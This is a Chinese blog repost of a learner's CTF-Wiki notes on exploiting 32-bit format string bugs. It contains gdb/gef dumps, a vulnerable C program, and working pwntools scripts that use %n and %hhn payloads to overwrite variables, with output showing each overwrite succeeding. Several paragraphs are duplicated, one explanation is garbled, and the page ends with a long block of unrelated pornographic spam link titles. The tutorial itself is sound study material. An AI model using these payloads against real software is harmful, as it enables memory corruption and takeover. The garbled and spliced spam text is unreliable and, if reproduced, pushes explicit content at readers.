0xf7f23b5d <__x86.get_pc_thunk.dx+0> mov edx, DWORD PTR [esp]0xf7f23b60 <__x86.get_pc_thunk.dx+3> ret 0xf7f23b61 <__x86.get_pc_thunk.si+0> mov esi, DWORD PTR [esp]0xf7f23b64 <__x86.get_pc_thunk.si+3> ret ─────────────────────────────────────────────────────── arguments (guessed) ──── __x86.get_pc_thunk.ax ( ) ─────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "overflow", stopped 0xf7e4d670 in __printf (), reason: BREAKPOINT ───────────────────────────────────────────────────────────────────── trace ──── [#0] 0xf7e4d670 → __printf(format=0x80485c3 "%p\n") [#1] 0x80484c8 → main()

    可以發(fā)現(xiàn)在0xffffcff4處存儲(chǔ)著變量c的數(shù)值(789==0x315)。繼而,我們?cè)俅_定格式化字符串’%d%d’的地址0xffffd008相對(duì)于printf函數(shù)的格式化字符串參數(shù)0xffffcff0的偏移為0x18,即格式化字符串地址相當(dāng)于printf函數(shù)的第7個(gè)參數(shù)(0xffffcfec是printf函數(shù)的返回地址),相當(dāng)于格式化字符串的第6個(gè)參數(shù)。

    進(jìn)行覆蓋

    這樣,第 6 個(gè)參數(shù)處的值就是存儲(chǔ)變量 c 的地址,我們便可以利用 %n 的特征來(lái)修改 c 的值。payload 如下

    [address of c]%012d%6$n

    address of c的長(zhǎng)度為4(32位程序),故而我們得再輸入12個(gè)字符才可以達(dá)到16個(gè)字符,以便來(lái)修改c的值為16。

    參數(shù)n,不輸出字符,但是把已經(jīng)成功輸出的字符個(gè)數(shù)寫(xiě)入對(duì)應(yīng)的整型指針參數(shù)所指的變量。前面已經(jīng)成果輸出了16個(gè)字符了,所以在這就相當(dāng)于把格式化字符串的第6個(gè)參數(shù)c的值改寫(xiě)成了16。

    參數(shù)012d:如果width選項(xiàng)前綴以0,則在左側(cè)用0填充直至達(dá)到寬度要求。這里把012d換成’a’*12也可以。

    具體腳本如下

    def forc():sh = process('./overwrite')c_addr = int(sh.recvuntil('\n', drop=True), 16)#原來(lái)是printf("%p\n",&c);drop=True表示接收\(chéng)n之前的值,16表示以16進(jìn)制的形式。print hex(c_addr)payload = p32(c_addr) + '%012d' + '%6$n'print payloadgdb.attach(sh)sh.sendline(payload)print sh.recv()sh.interactive()forc()

    我用這個(gè)腳本去打我上面編譯出來(lái)的程序,發(fā)現(xiàn)c_addr一直接收不了,因?yàn)樵趐rintf("%p\n",&c);之前有一個(gè)scanf()語(yǔ)句,我發(fā)現(xiàn)就算是先send()一個(gè)數(shù)值也接收不到…于是我又用他的腳本編譯了一次。

    #include <stdio.h> int a = 123, b = 456; int main() {int c = 789;char s[100];printf("%p\n", &c);scanf("%s", s);printf(s);if (c == 16) {puts("modified c.");} else if (a == 2) {puts("modified a for a small number.");} else if (b == 0x12345678) {puts("modified b for a big number!");}return 0; }

    關(guān)于pwntools里面的recvuntil腳本

    >>> t = tube() >>> t.recv_raw = lambda n: b"Hello World!" >>> t.recvuntil(b' ') b'Hello ' >>> _=t.clean(0) >>> # Matches on 'o' in 'Hello' >>> t.recvuntil((b' ',b'W',b'o',b'r')) b'Hello' >>> _=t.clean(0) >>> # Matches expressly full string >>> t.recvuntil(b' Wor') b'Hello Wor' >>> _=t.clean(0) >>> # Matches on full string, drops match >>> t.recvuntil(b' Wor', drop=True) b'Hello'

    結(jié)果如下

    devil@ubuntu:~$ python exp.py [+] Starting local process './overflow_1': pid 3817 0xff9583ac [*] running in new terminal: /usr/bin/gdb -q "./overflow_1" 3817 -x "/tmp/pwnyrtF2W.gdb" [+] Waiting for debugger: Done \xac\x83\x95\xffaaaaaaaaaaaamodified c.[*] Switching to interactive mode [*] Process './overflow_1' stopped with exit code 0 (pid 3817) [*] Got EOF while reading in interactive

    terminal里面的結(jié)果如下

    gef? b printf Breakpoint 1 at 0xf7deb670: file printf.c, line 28. gef? c Continuing.Breakpoint 1, __printf (format=0xff958348 "\254\203\225\377", 'a' <repeats 12 times>, "%6$n") at printf.c:28 28 printf.c: No such file or directory. [ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────────────────── registers ──── $eax : 0xff958348 → 0xff9583ac → 0x00000315 $ebx : 0x0 $ecx : 0x1 $edx : 0xf7f5587c → 0x00000000 $esp : 0xff95832c → 0x080484d7 → <main+76> add esp, 0x10 $ebp : 0xff9583b8 → 0x00000000 $esi : 0xf7f54000 → 0x001b1db0 $edi : 0xf7f54000 → 0x001b1db0 $eip : 0xf7deb670 → <printf+0> call 0xf7ec1b59 <__x86.get_pc_thunk.ax> $eflags: [carry parity ADJUST zero SIGN trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 ───────────────────────────────────────────────────────────────────── stack ──── 0xff95832c│+0x0000: 0x080484d7 → <main+76> add esp, 0x10 ← $esp 0xff958330│+0x0004: 0xff958348 → 0xff9583ac → 0x00000315 0xff958334│+0x0008: 0xff958348 → 0xff9583ac → 0x00000315 0xff958338│+0x000c: 0x000000c2 0xff95833c│+0x0010: 0xf7e326bb → <handle_intel+107> add esp, 0x10 0xff958340│+0x0014: 0xff95836e → 0xffff0000 0xff958344│+0x0018: 0xff95846c → 0xff95a323 → "QT_QPA_PLATFORMTHEME=appmenu-qt5" 0xff958348│+0x001c: 0xff9583ac → 0x00000315 ─────────────────────────────────────────────────────────────── code:x86:32 ────0xf7deb667 <fprintf+23> inc DWORD PTR [ebx+0x66c31cc4]0xf7deb66d nop 0xf7deb66e xchg ax, ax→ 0xf7deb670 <printf+0> call 0xf7ec1b59 <__x86.get_pc_thunk.ax>? 0xf7ec1b59 <__x86.get_pc_thunk.ax+0> mov eax, DWORD PTR [esp]0xf7ec1b5c <__x86.get_pc_thunk.ax+3> ret 0xf7ec1b5d <__x86.get_pc_thunk.dx+0> mov edx, DWORD PTR [esp]0xf7ec1b60 <__x86.get_pc_thunk.dx+3> ret 0xf7ec1b61 <__x86.get_pc_thunk.si+0> mov esi, DWORD PTR [esp]0xf7ec1b64 <__x86.get_pc_thunk.si+3> ret ─────────────────────────────────────────────────────── arguments (guessed) ──── __x86.get_pc_thunk.ax ( ) ─────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "overflow_1", stopped 0xf7deb670 in __printf (), reason: BREAKPOINT ───────────────────────────────────────────────────────────────────── trace ──── [#0] 0xf7deb670 → __printf(format=0xff958348 "\254\203\225\377", 'a' <repeats 12 times>, "%6$n") [#1] 0x80484d7 → main() ──────────────────────────────────────────────────────────────────────────────── gef? c Continuing. [Inferior 1 (process 3817) exited normally]

    結(jié)果輸出modified c,說(shuō)明c的值的確被修改成了16.

    覆蓋任意地址內(nèi)存

    覆蓋小數(shù)字

    首先,我們來(lái)考慮一下如何修改data段的變量為一個(gè)較小的數(shù)字,比如說(shuō),小于機(jī)器字長(zhǎng)的數(shù)字。這里以 2 為例。可能會(huì)覺(jué)得這其實(shí)沒(méi)有什么區(qū)別,可仔細(xì)一想,真的沒(méi)有么?如果我們還是將要覆蓋的地址放在最前面,那么將直接占用機(jī)器字長(zhǎng)個(gè) (4 或 8) 字節(jié)。顯然,無(wú)論之后如何輸出,都只會(huì)比 4 大。

    或許我們可以使用整型溢出來(lái)修改對(duì)應(yīng)的地址的值,但是這樣將面臨著我們得一次輸出大量的內(nèi)容。而這,一般情況下,基本都不會(huì)攻擊成功。

    那么我們應(yīng)該怎么做呢?再仔細(xì)想一下,我們有必要將所要覆蓋的變量的地址放在字符串的最前面么?似乎沒(méi)有,我們當(dāng)時(shí)只是為了尋找偏移,所以才把 tag 放在字符串的最前面,如果我們把 tag 放在中間,其實(shí)也是無(wú)妨的。類(lèi)似的,我們把地址放在中間,只要能夠找到對(duì)應(yīng)的偏移,其照樣也可以得到對(duì)應(yīng)的數(shù)值。前面已經(jīng)說(shuō)了我們的格式化字符串對(duì)應(yīng)的地址為格式化字符串的第 6 個(gè)參數(shù)。由于我們想要把 2 寫(xiě)到對(duì)應(yīng)的地址處,故而格式化字符串的前面的字節(jié)必須是

    aa%k$nxx //'k$'表示獲取格式化字符串中的第k個(gè)參數(shù),'%n'表示把已經(jīng)成功輸出的字符個(gè)數(shù)寫(xiě)入對(duì)應(yīng)的整型指針參數(shù)所指的變量。這里已經(jīng)成功輸出的字符為'aa',所以把2寫(xiě)入地址為a_addr處,也就是把a(bǔ)的值覆蓋為2.

    此時(shí)對(duì)應(yīng)的存儲(chǔ)的格式化字符串(%knxx)已經(jīng)占據(jù)了6個(gè)字符的位置,如果我們?cè)偬砑觾蓚€(gè)字符aa,那么其實(shí)aanxx)已經(jīng)占據(jù)了6個(gè)字符的位置,如果我們?cè)偬砑觾蓚€(gè)字符aa,那么其實(shí)aa%k就是第6個(gè)參數(shù)(4個(gè)字符為1個(gè)參數(shù)),nxx)經(jīng)據(jù)6個(gè)個(gè)aa實(shí)aanxx其實(shí)就是第7個(gè)參數(shù),后面我們?nèi)绻衔覀円采w的地址,那就是第8個(gè)參數(shù),所以如果我們這里設(shè)置k為8,其實(shí)就可以覆蓋了。

    利用 ida 可以得到 a 的地址為 0x0804A024(由于 a、b 是已初始化的全局變量,因此不在堆棧中)。

    .data:0804A024 public a .data:0804A024 a dd 7Bh ; DATA XREF: main:loc_80484F4↑r .data:0804A028 public b .data:0804A028 b dd 1C8h ; DATA XREF: main:loc_8048510↑r .data:0804A028 _data ends

    故而我們可以構(gòu)造如下的利用代碼

    from pwn import * def fora():sh = process('./overflow_1')a_addr = 0x0804A024payload = 'aa%8$naa' + p32(a_addr)sh.sendline(payload)print sh.recv() sh.interactive() fora()

    對(duì)應(yīng)的結(jié)果如下

    devil@ubuntu:~$ python test.py [+] Starting local process './overflow_1': pid 5353 0xff820b7c aaaa$\xa0\x04modified a for a small number.[*] Switching to interactive mode [*] Process './overflow_1' stopped with exit code 0 (pid 5353) [*] Got EOF while reading in interactive

    小技巧:我們沒(méi)有必要必須把地址放在最前面,放在哪里都可以,只要我們可以找到其對(duì)應(yīng)的偏移即可。

    覆蓋大數(shù)字

    上面介紹了覆蓋小數(shù)字,接下來(lái)介紹一下覆蓋大數(shù)字。上面我們說(shuō)了,我們可以選擇直接一次性輸出大數(shù)字個(gè)字節(jié)來(lái)進(jìn)行覆蓋,但是這樣基本也不會(huì)成功,因?yàn)樘L(zhǎng)了。而且即使成功,我們一次性等待的時(shí)間也太長(zhǎng)了,那么有沒(méi)有什么比較好的方式呢?__當(dāng)然有!(不然還寫(xiě)個(gè)p的筆記)

    不過(guò)在介紹之前,我們得先再簡(jiǎn)單了解一下,變量在內(nèi)存中的存儲(chǔ)格式。首先,所有的變量在內(nèi)存中都是以字節(jié)進(jìn)行存儲(chǔ)的。此外,在x86和x64的體系結(jié)構(gòu)中,變量的存儲(chǔ)格式為小端存儲(chǔ),即最低有效位存儲(chǔ)在低地址(和我們通常習(xí)慣的順序相反)。

    舉個(gè)例子,0x12345678在內(nèi)存中由低地址到高地址依次為\x78\x56\x34\x12。再者,我們可以回憶一下格式化字符串里面的標(biāo)志,可以發(fā)現(xiàn)有這么兩個(gè)標(biāo)志:

    hh 對(duì)于整數(shù)類(lèi)型,printf期待一個(gè)從char提升的int尺寸的整型參數(shù)。輸出一個(gè)字節(jié) h 對(duì)于整數(shù)類(lèi)型,printf期待一個(gè)從short提升的int尺寸的整型參數(shù)。輸出一個(gè)雙字節(jié)

    所以說(shuō),我們可以利用 %hhn 向某個(gè)地址寫(xiě)入單字節(jié),利用 %hn 向某個(gè)地址寫(xiě)入雙字節(jié)。這里,我們以單字節(jié)為例。

    我們準(zhǔn)備覆蓋b的值,先用ida看一下b的地址為多少

    .data:0804A028 public b .data:0804A028 b dd 1C8h ; DATA XREF:

    可以看出,b的地址為0x0804A028

    我們希望將按照如下方式進(jìn)行覆蓋,前面為覆蓋地址,后面為覆蓋內(nèi)容。

    0x0804A028 \x78 0x0804A029 \x56 0x0804A02a \x34 0x0804A02b \x12

    我們?cè)谇懊娲_定相對(duì)偏移的過(guò)程中確定了格式化字符串的地址是格式化字符串的第6個(gè)參數(shù)。所以我們的payload基本上如下

    p32(0x0804A028)+p32(0x0804A029)+p32(0x0804A02a)+p32(0x0804A02b)+pad1+'%6$n'+pad2+'%7$n'+pad3'%8$n'+pad4'%9$n'

    給出一個(gè)基本構(gòu)造如下:

    from pwn import * def fmt(prev,word,index):if prev < word: #傳過(guò)來(lái)的word依次為0x78,0x56,0x34,0x12;傳過(guò)來(lái)的prev依次為4,0x78,0x56,0x34result = word - prevfmtstr = "%" + str(result) + "c"elif prev == word:result = 0else:result = 256 + word - prevfmtstr = "%" + str(result) + "c"fmtstr += "%" + str(index) + "$hhn" print(fmtstr)return fmtstrdef fmt_str(offset,size,addr,target):payload = ""for i in range(4):if size == 4:payload += p32(addr + i)else:payload += p64(addr + i)prev = len(payload)for i in range(4):payload += fmt(prev,(target >> i * 8)& 0xff,offset + i)#乘法運(yùn)算優(yōu)先級(jí)高于左移運(yùn)算,右移8位是二進(jìn)制的8位,轉(zhuǎn)成16進(jìn)制之后就是每次右移兩位。'&0xff'目的是除了最右邊兩位不變,其它位都置零。prev = (target >> i * 8) & 0xff #prev的初值為4,之后依次為0x78,0x56,0x34,0x12return payload payload = fmt_str(6,4,0x0804A028,0x12345678)

    其中每個(gè)參數(shù)的含義基本如下

    • offset表示要覆蓋的地址的最初的偏移
    • size表示機(jī)器字長(zhǎng)
    • addr表示將要覆蓋的地址
    • target表示我們要覆蓋為的目的變量值

    說(shuō)實(shí)話一開(kāi)始沒(méi)太看懂這個(gè)payload的構(gòu)造,于是我一步步分析了程序并先打印了這個(gè)fmt()函數(shù)的運(yùn)行結(jié)果

    python運(yùn)算中,乘法優(yōu)先級(jí)在右移優(yōu)先級(jí)之前。

    pre1 = (0x12345678) >> 0 * 8

    pre1 --> 0x12345678

    pre2 = pre1 & 0xff

    pre2 -->0x78

    fmt函數(shù)運(yùn)行結(jié)果如下

    %104c%6hhnhhn %222c%7hhnhhn
    %222c%8hhnhhn %222c%9hhnhhn

    payload結(jié)果如下

    (\xa0\x04)\xa0\x04*\xa0\x04+\xa0\x04%104c%6hhnhhn%222c%7hhnhhn%222c%8hhnhhn%222c%9hhnhhn

    payload前面一段是p32形式的攻擊地址 后面%(num)c%(index)$hhn表示向第index個(gè)參數(shù)處以單字節(jié)的形式寫(xiě)入特定數(shù)值[0x78,0x56,0x34,0x12]

    完整的exploit如下

    #-*- coding=utf-8 -*- from pwn import * def fmt(prev,word,index):if prev < word: #傳過(guò)來(lái)的word依次為0x78,0x56,0x34,0x12;傳過(guò)來(lái)的prev依次為0x10,0x78,0x56,0x34result = word - prevfmtstr = "%" + str(result) + "c"elif prev == word:result = 0else:result = 256 + word - prevfmtstr = "%" + str(result) + "c"fmtstr += "%" + str(index) + "$hhn" print(fmtstr)return fmtstrdef fmt_str(offset,size,addr,target):payload = ""for i in range(4):if size == 4:payload += p32(addr + i)else:payload += p64(addr + i)prev = len(payload)for i in range(4):payload += fmt(prev,(target >> i * 8)& 0xff,offset + i)#乘法運(yùn)算優(yōu)先級(jí)高于左移運(yùn)算,右移8位是二進(jìn)制的8位,轉(zhuǎn)成16進(jìn)制之后就是每次右移兩位。'&0xff'目的是除了最右邊兩位不變,其它位都置零。prev = (target >> i * 8) & 0xff #prev的初值為4,之后依次為0x78,0x56,0x34,0x12return payload def proc():sh = process("./overflow_1")payload = fmt_str(6,4,0x0804A028,0x12345678)print(payload)sh.sendline(payload)print(sh.recv())sh.interactive()proc()

    結(jié)果如下

    devil@ubuntu:~$ python exploit.py [+] Starting local process './overflow_1': pid 2780 %104c%6$hhn %222c%7$hhn %222c%8$hhn %222c%9$hhn (\xa0\x04)\xa0\x04*\xa0\x04+\xa0\x04%104c%6$hhn%222c%7$hhn%222c%8$hhn%222c%9$hhn 0xff97f18c (\xa0\x04)\xa0\x04*\xa0\x04+\xa0\x04 ( � \xbb Nmodified b for a big number![*] Switching to interactive mode [*] Got EOF while reading in interactive

    fmt()函數(shù)里的else部分我看了好久都沒(méi)弄明白,為什么第一次寫(xiě)入0x78,后面還能寫(xiě)入0x56,0x34,0x12。因?yàn)閷?xiě)入的值是根據(jù)前面成功輸出的字符個(gè)數(shù)來(lái)決定的,怎么會(huì)越寫(xiě)越小呢?

    else:result = 256 + word - prevfmtstr = "%" + str(result) + "c" fmtstr += "%" + str(index) + "$hhn"

    result = 256 + word - prev,可以看到word - prev = -(0x22),而0x78-0x22就等于0x56,也就是我們想要寫(xiě)入的第二個(gè)值,那么為什么又要加256呢?

    %hhn是具有溢出功能的,前面成功輸出的字符個(gè)數(shù)超過(guò)255就會(huì)從0重新開(kāi)始計(jì)數(shù)(比如260就相當(dāng)于260-256=4)。所以加256并不影響結(jié)果,那這里為什么要加256呢?因?yàn)閣ord-prev的值是負(fù)數(shù),不能直接使用%[num]c (num為負(fù)數(shù)),于是先加256,在后面計(jì)算輸出字符個(gè)數(shù)的時(shí)候會(huì)自動(dòng)減去256。這時(shí)候就相當(dāng)于寫(xiě)入了0x56,后面的0x34,0x12依次類(lèi)推。

    當(dāng)然,我們也可以利用 %n 分別對(duì)每個(gè)地址進(jìn)行寫(xiě)入,也可以得到對(duì)應(yīng)的答案,但是由于我們寫(xiě)入的變量都只會(huì)影響由其開(kāi)始的四個(gè)字節(jié),所以最后一個(gè)變量寫(xiě)完之后,我們可能會(huì)修改之后的三個(gè)字節(jié),如果這三個(gè)字節(jié)比較重要的話,程序就有可能因此崩潰。而采用 %hhn 則不會(huì)有這樣的問(wèn)題,因?yàn)檫@樣只會(huì)修改相應(yīng)地址的一個(gè)字節(jié)。

    上面是CTF-Wiki寫(xiě)的,我個(gè)人的理解是用%n寫(xiě)入0x12345678這個(gè)數(shù)據(jù),%n是把已經(jīng)成功輸出字符的個(gè)數(shù)寫(xiě)入對(duì)應(yīng)指針指向的整型(int)變量,整型(int)變量占4個(gè)字節(jié),但是使用%hhn只會(huì)修改1個(gè)字節(jié)。

    � \xbb Nmodified b for a big number!

    [] Switching to interactive mode
    [] Got EOF while reading in interactive

    fmt()函數(shù)里的else部分我看了好久都沒(méi)弄明白,為什么第一次寫(xiě)入0x78,后面還能寫(xiě)入0x56,0x34,0x12。因?yàn)閷?xiě)入的值是根據(jù)前面成功輸出的字符個(gè)數(shù)來(lái)決定的,怎么會(huì)越寫(xiě)越小呢?```python else:result = 256 + word - prevfmtstr = "%" + str(result) + "c" fmtstr += "%" + str(index) + "$hhn"

    result = 256 + word - prev,可以看到word - prev = -(0x22),而0x78-0x22就等于0x56,也就是我們想要寫(xiě)入的第二個(gè)值,那么為什么又要加256呢?

    %hhn是具有溢出功能的,前面成功輸出的字符個(gè)數(shù)超過(guò)255就會(huì)從0重新開(kāi)始計(jì)數(shù)(比如260就相當(dāng)于260-256=4)。所以加256并不影響結(jié)果,那這里為什么要加256呢?因?yàn)閣ord-prev的值是負(fù)數(shù),不能直接使用%[num]c (num為負(fù)數(shù)),于是先加256,在后面計(jì)算輸出字符個(gè)數(shù)的時(shí)候會(huì)自動(dòng)減去256。這時(shí)候就相當(dāng)于寫(xiě)入了0x56,后面的0x34,0x12依次類(lèi)推。

    當(dāng)然,我們也可以利用 %n 分別對(duì)每個(gè)地址進(jìn)行寫(xiě)入,也可以得到對(duì)應(yīng)的答案,但是由于我們寫(xiě)入的變量都只會(huì)影響由其開(kāi)始的四個(gè)字節(jié),所以最后一個(gè)變量寫(xiě)完之后,我們可能會(huì)修改之后的三個(gè)字節(jié),如果這三個(gè)字節(jié)比較重要的話,程序就有可能因此崩潰。而采用 %hhn 則不會(huì)有這樣的問(wèn)題,因?yàn)檫@樣只會(huì)修改相應(yīng)地址的一個(gè)字節(jié)。

    上面是CTF-Wiki寫(xiě)的,我個(gè)人的理解是用%n寫(xiě)入0x12345678這個(gè)數(shù)據(jù),%n是把已經(jīng)成功輸出字符的個(gè)數(shù)寫(xiě)入對(duì)應(yīng)指針指向的整型(int)變量,整型(int)變量占4個(gè)字節(jié),但是使用%hhn只會(huì)修改1個(gè)字節(jié)。

    總結(jié)

    以上是生活随笔為你收集整理的跟着CTF-Wiki学pwn|格式化字符串(1)的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。

    如果覺(jué)得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。

    а√天堂www在线天堂小说 | 亚洲色无码一区二区三区 | 国产精品多人p群无码 | 午夜成人1000部免费视频 | 久久精品国产一区二区三区 | 久久久精品成人免费观看 | 无码毛片视频一区二区本码 | 宝宝好涨水快流出来免费视频 | 波多野结衣av在线观看 | 亚洲成a人片在线观看日本 | 亚洲国产午夜精品理论片 | 精品国产av色一区二区深夜久久 | 3d动漫精品啪啪一区二区中 | 久久国产精品偷任你爽任你 | 国产精品美女久久久久av爽李琼 | 亚洲 日韩 欧美 成人 在线观看 | 最近的中文字幕在线看视频 | 欧美精品免费观看二区 | 国产精品国产三级国产专播 | 又紧又大又爽精品一区二区 | 久久久久久久久蜜桃 | 久久99久久99精品中文字幕 | 沈阳熟女露脸对白视频 | 国产又粗又硬又大爽黄老大爷视 | 97精品国产97久久久久久免费 | 久久综合给久久狠狠97色 | 中国女人内谢69xxxxxa片 | 国产精品丝袜黑色高跟鞋 | 人妻互换免费中文字幕 | 色综合久久久无码网中文 | 午夜理论片yy44880影院 | 日日天干夜夜狠狠爱 | 国产乱人伦av在线无码 | 久久无码专区国产精品s | 国产内射爽爽大片视频社区在线 | 国产精品igao视频网 | 亚洲日韩av一区二区三区四区 | 日本精品人妻无码77777 天堂一区人妻无码 | 免费无码av一区二区 | 日韩欧美中文字幕在线三区 | 一本大道伊人av久久综合 | 亚洲人成影院在线观看 | 亚洲国产av精品一区二区蜜芽 | 永久免费精品精品永久-夜色 | 秋霞成人午夜鲁丝一区二区三区 | 国色天香社区在线视频 | 亚洲精品国产精品乱码不卡 | 国产九九九九九九九a片 | 男女猛烈xx00免费视频试看 | 中国女人内谢69xxxxxa片 | 在线а√天堂中文官网 | 婷婷综合久久中文字幕蜜桃三电影 | 精品成在人线av无码免费看 | 亚洲一区二区观看播放 | 性生交大片免费看女人按摩摩 | 妺妺窝人体色www在线小说 | 精品国产乱码久久久久乱码 | 少妇性l交大片欧洲热妇乱xxx | 国色天香社区在线视频 | 欧美激情一区二区三区成人 | 国产精品香蕉在线观看 | 久久综合香蕉国产蜜臀av | 久久久精品456亚洲影院 | 国产乱人伦app精品久久 国产在线无码精品电影网 国产国产精品人在线视 | 大色综合色综合网站 | 无码人妻精品一区二区三区不卡 | 日韩 欧美 动漫 国产 制服 | 成人毛片一区二区 | 97资源共享在线视频 | 国产精品久久国产三级国 | 一二三四在线观看免费视频 | 国产成人精品视频ⅴa片软件竹菊 | 人妻少妇被猛烈进入中文字幕 | 亚洲精品成a人在线观看 | 国产亚洲欧美日韩亚洲中文色 | 97色伦图片97综合影院 | 理论片87福利理论电影 | 中文字幕 人妻熟女 | 撕开奶罩揉吮奶头视频 | 丰满少妇熟乱xxxxx视频 | 一个人看的www免费视频在线观看 | 久久久久成人片免费观看蜜芽 | 男女爱爱好爽视频免费看 | 久久国产劲爆∧v内射 | 真人与拘做受免费视频 | 又色又爽又黄的美女裸体网站 | 一本加勒比波多野结衣 | 免费观看的无遮挡av | 少妇被黑人到高潮喷出白浆 | 亚洲精品www久久久 | 国产精品人人妻人人爽 | 日韩av无码一区二区三区不卡 | 男女猛烈xx00免费视频试看 | 国产亚洲美女精品久久久2020 | 亚洲国产精品成人久久蜜臀 | 国产后入清纯学生妹 | 丰满人妻精品国产99aⅴ | 国产高清不卡无码视频 | 中文字幕人成乱码熟女app | а√资源新版在线天堂 | 成在人线av无码免观看麻豆 | 国产在线一区二区三区四区五区 | 中文字幕乱妇无码av在线 | 亚洲精品国偷拍自产在线观看蜜桃 | 人妻少妇精品视频专区 | 国产精品无码永久免费888 | 久久国语露脸国产精品电影 | 乱人伦人妻中文字幕无码久久网 | 在线а√天堂中文官网 | 国产 浪潮av性色四虎 | 欧美丰满少妇xxxx性 | 中文精品无码中文字幕无码专区 | 精品日本一区二区三区在线观看 | 亚洲欧美国产精品专区久久 | 国产亚洲人成a在线v网站 | 日韩精品无码一区二区中文字幕 | 成人精品视频一区二区 | 午夜丰满少妇性开放视频 | 少妇性l交大片欧洲热妇乱xxx | 最新版天堂资源中文官网 | 成人免费视频视频在线观看 免费 | 日韩人妻系列无码专区 | 奇米影视7777久久精品 | 中文字幕av日韩精品一区二区 | 亚洲七七久久桃花影院 | 内射老妇bbwx0c0ck | 97资源共享在线视频 | 亚洲日本一区二区三区在线 | 久久综合狠狠综合久久综合88 | 国内精品一区二区三区不卡 | 99精品视频在线观看免费 | 欧美亚洲日韩国产人成在线播放 | 亚洲色www成人永久网址 | 亚洲一区二区三区在线观看网站 | 亚洲日韩一区二区 | 午夜成人1000部免费视频 | 一本无码人妻在中文字幕免费 | 亚洲国产成人a精品不卡在线 | 欧洲熟妇色 欧美 | 未满成年国产在线观看 | 婷婷色婷婷开心五月四房播播 | aⅴ亚洲 日韩 色 图网站 播放 | 人人妻人人澡人人爽欧美一区九九 | 欧美肥老太牲交大战 | 国产精品无码永久免费888 | 色综合久久中文娱乐网 | 成人无码精品1区2区3区免费看 | 国内精品一区二区三区不卡 | 久久久久成人精品免费播放动漫 | 亚洲va中文字幕无码久久不卡 | 精品无码国产一区二区三区av | 免费播放一区二区三区 | 亚洲七七久久桃花影院 | 国产午夜福利100集发布 | 亚洲天堂2017无码中文 | 白嫩日本少妇做爰 | 亚洲成av人影院在线观看 | 人妻互换免费中文字幕 | 欧美日韩亚洲国产精品 | 免费国产黄网站在线观看 | 成人女人看片免费视频放人 | 国产精品久久久久久久影院 | 国产无遮挡又黄又爽又色 | 国产午夜无码精品免费看 | 国产又粗又硬又大爽黄老大爷视 | 久久精品人人做人人综合 | 奇米综合四色77777久久 东京无码熟妇人妻av在线网址 | 久久国产精品偷任你爽任你 | 欧美日韩一区二区免费视频 | 久9re热视频这里只有精品 | 无码毛片视频一区二区本码 | 久久久久99精品成人片 | 黑森林福利视频导航 | 国产福利视频一区二区 | 中国大陆精品视频xxxx | 成人片黄网站色大片免费观看 | 中文字幕人妻无码一区二区三区 | 性啪啪chinese东北女人 | 熟妇女人妻丰满少妇中文字幕 | 亚洲精品久久久久中文第一幕 | 又黄又爽又色的视频 | 麻花豆传媒剧国产免费mv在线 | 午夜不卡av免费 一本久久a久久精品vr综合 | 天堂亚洲2017在线观看 | 日本在线高清不卡免费播放 | 午夜精品久久久久久久久 | 亚洲中文字幕无码中文字在线 | 无码纯肉视频在线观看 | 亚洲成a人一区二区三区 | 成人无码视频在线观看网站 | 亚洲天堂2017无码中文 | 任你躁国产自任一区二区三区 | 狂野欧美性猛xxxx乱大交 | 亚洲中文字幕乱码av波多ji | 欧美丰满老熟妇xxxxx性 | 人人妻人人藻人人爽欧美一区 | 在教室伦流澡到高潮hnp视频 | 久久99精品久久久久久动态图 | 日本在线高清不卡免费播放 | 国产内射爽爽大片视频社区在线 | 国产成人精品三级麻豆 | 国产精品多人p群无码 | 亚洲乱亚洲乱妇50p | 日韩精品无码免费一区二区三区 | 亚洲中文字幕乱码av波多ji | 377p欧洲日本亚洲大胆 | 成人毛片一区二区 | 一本久久a久久精品亚洲 | 午夜精品久久久久久久久 | 中国大陆精品视频xxxx | 色欲综合久久中文字幕网 | 无码人妻丰满熟妇区毛片18 | 免费人成在线视频无码 | 国产精品美女久久久网av | 少女韩国电视剧在线观看完整 | 欧美亚洲国产一区二区三区 | 高清国产亚洲精品自在久久 | 欧美人与物videos另类 | 国产成人精品三级麻豆 | 午夜福利试看120秒体验区 | 国内少妇偷人精品视频 | 午夜精品久久久久久久久 | 中文字幕+乱码+中文字幕一区 | 少妇激情av一区二区 | 高中生自慰www网站 | 国产美女精品一区二区三区 | 成人无码精品1区2区3区免费看 | 日韩av无码一区二区三区 | 国产人成高清在线视频99最全资源 | 精品人妻av区 | 午夜无码区在线观看 | 永久黄网站色视频免费直播 | 一本久道久久综合狠狠爱 | 免费看少妇作爱视频 | 欧美熟妇另类久久久久久多毛 | 日本精品久久久久中文字幕 | 精品人人妻人人澡人人爽人人 | 国精品人妻无码一区二区三区蜜柚 | 亚洲一区二区三区在线观看网站 | 欧美日韩久久久精品a片 | 午夜精品一区二区三区在线观看 | 牲交欧美兽交欧美 | 熟妇人妻激情偷爽文 | 亚洲熟妇色xxxxx欧美老妇 | 亚洲熟妇自偷自拍另类 | 日韩欧美成人免费观看 | 午夜精品久久久内射近拍高清 | 正在播放老肥熟妇露脸 | 国产午夜福利亚洲第一 | 性开放的女人aaa片 | 国产精品久久久久久久影院 | 兔费看少妇性l交大片免费 | 少妇性l交大片欧洲热妇乱xxx | 免费中文字幕日韩欧美 | 国产午夜无码精品免费看 | 日本丰满熟妇videos | 性做久久久久久久免费看 | 亚拍精品一区二区三区探花 | 久久精品女人天堂av免费观看 | 奇米综合四色77777久久 东京无码熟妇人妻av在线网址 | 曰本女人与公拘交酡免费视频 | 人人妻人人澡人人爽人人精品浪潮 | 亚洲国产高清在线观看视频 | 青青青手机频在线观看 | 一本色道久久综合狠狠躁 | 娇妻被黑人粗大高潮白浆 | 欧美成人免费全部网站 | 天天av天天av天天透 | 久久五月精品中文字幕 | 在线成人www免费观看视频 | 精品偷拍一区二区三区在线看 | 无人区乱码一区二区三区 | 人妻尝试又大又粗久久 | 在线观看免费人成视频 | 在线观看国产午夜福利片 | 俺去俺来也www色官网 | 一本色道久久综合亚洲精品不卡 | 内射巨臀欧美在线视频 | 日日天干夜夜狠狠爱 | 亚洲中文无码av永久不收费 | 国产艳妇av在线观看果冻传媒 | 